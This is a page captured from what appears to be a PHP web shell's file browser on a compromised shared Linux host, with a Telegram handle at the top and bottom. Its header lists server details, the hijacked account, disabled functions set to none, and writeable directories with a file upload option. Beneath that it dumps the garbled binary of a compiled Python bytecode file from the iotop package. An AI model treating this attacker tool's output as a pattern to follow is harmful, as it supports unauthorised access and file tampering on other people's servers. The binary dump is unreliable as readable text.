https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/iotop/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/iotop/__pycache__/data.cpython-310.pyc
o

�i�d+<�	@s�ddlmZddlZddlZddlZddlZddlZddlZddlZddl	Z	ze
e	d�s5ddlmZee	_Wnee
fyEe	j	e	_Ynwej�d�ZzddlmZe�ZWneybdZYnwdZeries�ed	�ed
�eswed�es}ed�e�d
�ddlmZmZddlmZmZmZmZddl m!Z!m"Z"Gdd�de#�Z$Gdd�de$�Z%d
Z&d
Z'dZ(d
Z)dZ*Gdd�de#�Z+dd�Z,dd�Z-dd�Z.Gdd �d e$�Z/Gd!d"�d"e$�Z0Gd#d$�d$e$�Z1dS)%�)�print_functionN�	monotonic)rz
/proc/self/io)�VmStatFTz<Could not run iotop as some of the requirements are not met:z- Linux >= 2.6.20 withz`  - I/O accounting support (CONFIG_TASKSTATS, CONFIG_TASK_DELAY_ACCT, CONFIG_TASK_IO_ACCOUNTING)z0  - VM event counters (CONFIG_VM_EVENT_COUNTERS)�)�ioprio�vmstat)�
Connection�NETLINK_GENERIC�U32Attr�
NLM_F_REQUEST)�
Controller�GeNlMessagec@seZdZdZdd�ZdS)�DumpableObjectzBBase class for objects that allows easy introspection when printedcCs$dtt|��dd�t�|j�fS)Nz%s: %s>���)�str�type�pprint�pformat�__dict__��self�r�,/usr/lib/python3/dist-packages/iotop/data.py�__repr__Ks
�zDumpableObject.__repr__N)�__name__�
__module__�__qualname__�__doc__rrrrrrIsrc@sFeZdZgd�ZdZdd�Zddd�Zdd	�Zd
d�Ze	dd
��Z
dS)�Stats))�blkio_delay_total�()�swapin_delay_total�8)�
read_bytes�)�write_bytes�)�cancelled_write_bytesiFcCsT|j}tjD]\}}|||d�}t�d|�d||<qtjs(|jdkt_dSdS)N��Qr)rr�members_offsets�struct�unpack�has_blkio_delay_totalr)r�task_stats_buffer�sd�name�offset�datarrr�__init___s�zStats.__init__rc	Cs>|j}|j}|j}tjD]\}}|||||||<qdS)z3Update destination from operator(self, other_stats)N�rrr*)	r�other_stats�destination�coeff�ddr/�od�memberr1rrr�
accumulatejs�zStats.accumulatecCs|j||dd�S)z*Update destination with self - other_statsr)r7)r;)rr5r6rrr�deltarszStats.deltacCs,|j}tjD]
\}}||dkrdSqdS)NrFTr4)rr/r0r1rrr�is_all_zerovs�zStats.is_all_zerocCs,t�t�}|j}tjD]\}}d||<q|S)Nr)r�__new__rr*)�stats�stdr0r1rrr�build_all_zero}s


zStats.build_all_zeroN)r)rrrr*r-r3r;r<r=�staticmethodrArrrrrTs
r��c@s$eZdZdd�Zdd�Zdd�ZdS)�TaskStatsNetlinkcCs*||_tt�|_t|j�}|�d�|_dS)N�	TASKSTATS)�optionsrr	�
connectionr�
get_family_id�	family_id)rrG�
controllerrrrr3�s

zTaskStatsNetlink.__init__cCst|jttt|�gtd�S)N)�cmd�attrs�flags)r
rJ�TASKSTATS_CMD_GETr
�TASKSTATS_CMD_ATTR_PIDr)r�tidrrr�
build_request�s
�zTaskStatsNetlink.build_requestc
Cs�|j�|j�zt�|j�}Wnty)}z|jtjkr$WYd}~dS�d}~ww|j�	�D]\}}|t
kr=|��}nq/dS|tj
}t|�dkrMdSt�d|dd��d}|dks_J�t|�S)Ni�H�rrC)�task_stats_request�sendrHr
�recv�OSError�errno�ESRCHrM�items�TASKSTATS_TYPE_AGGR_PID�nested�TASKSTATS_TYPE_STATSr2�lenr+r,r)r�thread�reply�e�	attr_type�
attr_value�taskstats_data�taskstats_versionrrr�get_single_task_stats�s*���
z&TaskStatsNetlink.get_single_task_statsN)rrrr3rRrgrrrrrE�srEcCs�g|_d}|jp	gD]8}zt|�}Wn'ty9zt�|�}Wnty3td|tj	d�d}Ynw|j
}Ynw|sB|j�|�q
|rLt�d�dSdS)zDBuild options.uids from options.users by resolving usernames to UIDsFz
Unknown user:)�fileTrN)
�uids�users�int�
ValueError�pwd�getpwnam�KeyError�print�sys�stderr�pw_uid�append�exit)rG�error�u�uid�passwdrrr�	find_uids�s*�����rzcCsRi}ztd|dd�D]}|�dd�\}}|��||<qW|Sty(Y|Sw)Nz/proc/%d/status�replace)�errors�:r)�open�split�strip�IOError)�pid�result_dict�line�key�valuerrr�parse_proc_pid_status�s���r�cCs>z|�d�WSty|�d�YSty|YSw)Nzutf-8�
string_escape)�decode�UnicodeDecodeError�encode�AttributeError)�srrr�safe_utf8_decode�s�r�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�
ThreadInfozStats for a single threadcCs.||_d|_d|_t�t�|_|�|�|_dS)NT)rQ�mark�stats_totalrr>�stats_deltarRrU)rrQ�taskstats_connectionrrrr3�s
zThreadInfo.__init__cCst�|j�S�N)r�getrQrrrr�
get_ioprio�szThreadInfo.get_iopriocCst�tj|j||�Sr�)r�
set_ioprio�IOPRIO_WHO_PROCESSrQ)r�ioprio_class�ioprio_datarrrr��s�zThreadInfo.set_iopriocCs&|js||_|�|j|j�||_dSr�)r�r<r�)rr?rrr�update_stats�s
zThreadInfo.update_statsN)rrrrr3r�r�r�rrrrr��sr�c@sheZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�ProcessInfoz�Stats for a single process (a single line in the output): if
    options.processes is set, it is a collection of threads, otherwise a single
    thread.cCs:||_d|_d|_i|_t��|_t��|_t�	�|_
dSr�)r�rx�user�threadsrrAr��stats_accum�timer�stats_accum_timestamp)rr�rrrr3�s

zProcessInfo.__init__cCs8|jr|js|j|jvrdS|jr|��|jvrdSdS)NFT)�pids�	processesr�ri�get_uid)rrGrrr�is_monitoredszProcessInfo.is_monitoredcCsX|jr|jSz
t�d|j�tj}Wntyd}Ynw||jkr*d|_||_|S)Nz/proc/%d)rx�os�statr��ST_UIDrXr��rrxrrrr�s�
zProcessInfo.get_uidc	CsX|��}|dur'|js'ztt�|�j�|_Wnttfy&t|�|_Ynw|jp+dS)Nz{none})	r�r�r�rm�getpwuid�pw_nameror�rr�rrr�get_user$s�
zProcessInfo.get_usercCsztd|j�}|�d�}Wn
tyYdSwt|j�}|s2|�dd�}|r.d|}|Sd}|Sd}t|�d|j��}||jkrZt|��dd�}|�dd�}||krZ|d	|7}|�d
�}	|	d�d�ry|	d�	d�d
}
|	d|
d�|	d<d�
|	���}t||�S)Nz/proc/%d/cmdlineiz{no such process}�Name�z[%s]z	{no name}�Tgidz [%s]�r�/r� )
r~r��readr�r�r�rkr�
startswith�rfind�joinr�r�)r�proc_cmdline�cmdline�proc_status�proc_status_name�suffix�tgid�	tgid_name�thread_name�parts�first_command_charrrr�get_cmdline-s6�
�

zProcessInfo.get_cmdlinecCs4|r|j��S|j��D]
}|j��sdSq
dS)NTF)r�r=r��valuesr�)r�accumulated�trrr�did_some_ioLs
�zProcessInfo.did_some_iocCs0tdd�|j��D��}t|�dkr|��SdS)Ncss�|]}|��VqdSr�)r�)�.0r�rrr�	<genexpr>Us�z)ProcessInfo.get_ioprio.<locals>.<genexpr>rz?dif)�setr�r�r_�pop)r�
prioritiesrrrr�TszProcessInfo.get_iopriocCs |j��D]}|�||�qdSr�)r�r�r�)rr�r�r`rrrr�Zs�zProcessInfo.set_iopriocCst�|���Sr�)r�sort_keyr�rrrr�ioprio_sort_key^szProcessInfo.ioprio_sort_keycCs*|j�|d�}|st||�}||j|<|Sr�)r�r�r�)rrQr�r`rrr�
get_threadas


zProcessInfo.get_threadcCs�t��}|j��D]\}}|js|�|j|�q	tdd�|j��D��|_t|j�}|s.dS|j	|_	|j
|_
||_|j�|j|j�dS)NcSsg|]\}}|js||f�qSr)r�)r�rQr`rrr�
<listcomp>ms�z,ProcessInfo.update_stats.<locals>.<listcomp>FT)rrAr�r[r�r;r��dictr_rr!r�)rr�rQr`�
nr_threadsrrrr�hs �
�
zProcessInfo.update_statsN)rrrrr3r�r�r�r�r�r�r�r�r�r�rrrrr��s		r�c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�ProcessListcCs2i|_||_||_t��|_t��|_|��dSr�)	r�r�rGr�r�	timestamprr�update_process_counts)rr�rGrrrr3~s

zProcessList.__init__cCs8|j�|d�}|st|�}||j|<|�|j�r|SdS)zyEither get the specified PID from self.processes or build a new
        ProcessInfo if we see this PID for the first timeN)r�r�r�r�rG)rr��processrrr�get_process�s
�zProcessList.get_processc	Cs�|jjr|jjSt�d�}|jjrdd�|D�Sg}|D]+}d|dkr*dkrGnqz|�ttt�d|d���WqtyFYqwq|S)	Nz/proccSs0g|]}d|dkrdkrnnt|��qS)�0r�9)rk)r�r�rrrr��s0z*ProcessList.list_tgids.<locals>.<listcomp>r�rr�z/proc/z/task)	rGr�r��listdirr��extend�maprkrX)r�tgids�tidsr�rrr�
list_tgids�s"

���zProcessList.list_tgidscCsh|jjs|gSztttt�d|���}Wnty gYSw|jjr2tt	|jj��
t	|���}|S)Nz
/proc/%d/task)rGr��listr�rkr�r�rXr�r��intersection)rr�r�rrr�	list_tids�s�zProcessList.list_tidsc
Cs�t��}||j|_||_d}}|��D]6}|�|�}|sq|�|�D]&}|�||j�}|j�	|�}|rJ|�
|�|j}	||	j7}||	j
7}d|_q$q||f|j��fS)NrF)r�rr��durationr�r�r�r�r�rgr�r�r#r%r�rr<)
r�
new_timestamp�
total_read�total_writer�r�rQr`r?r<rrrr��s(



��	z!ProcessList.update_process_countscCsL|j��D]
}|j��D]}d|_qq|��}tdd�|j��D��|_|S)NTcSs g|]\}}|��r||f�qSr)r�)r�r�r�rrrr��s�z1ProcessList.refresh_processes.<locals>.<listcomp>)r�r�r�r�r�r�r[)rr�r`�total_read_and_writerrr�refresh_processes�s�
�zProcessList.refresh_processescCs
i|_dSr�)r�rrrr�clear�s
zProcessList.clearN)
rrrr3r�r�r�r�r�r�rrrrr�}s
r�)2�
__future__rrYr�rrmr�r+rqr��hasattrr�ImportError�RuntimeError�path�exists�ioaccounting�iotop.vmstatr�vmstat_fr��vm_event_countersrpru�iotoprr�
iotop.netlinkrr	r
r�iotop.genetlinkrr
�objectrrrOrPr\�TASKSTATS_TYPE_PIDr^rErzr�r�r�r�r�rrrr�<module>sf
��
�
5*	

https://t.me/RX1948 - 2025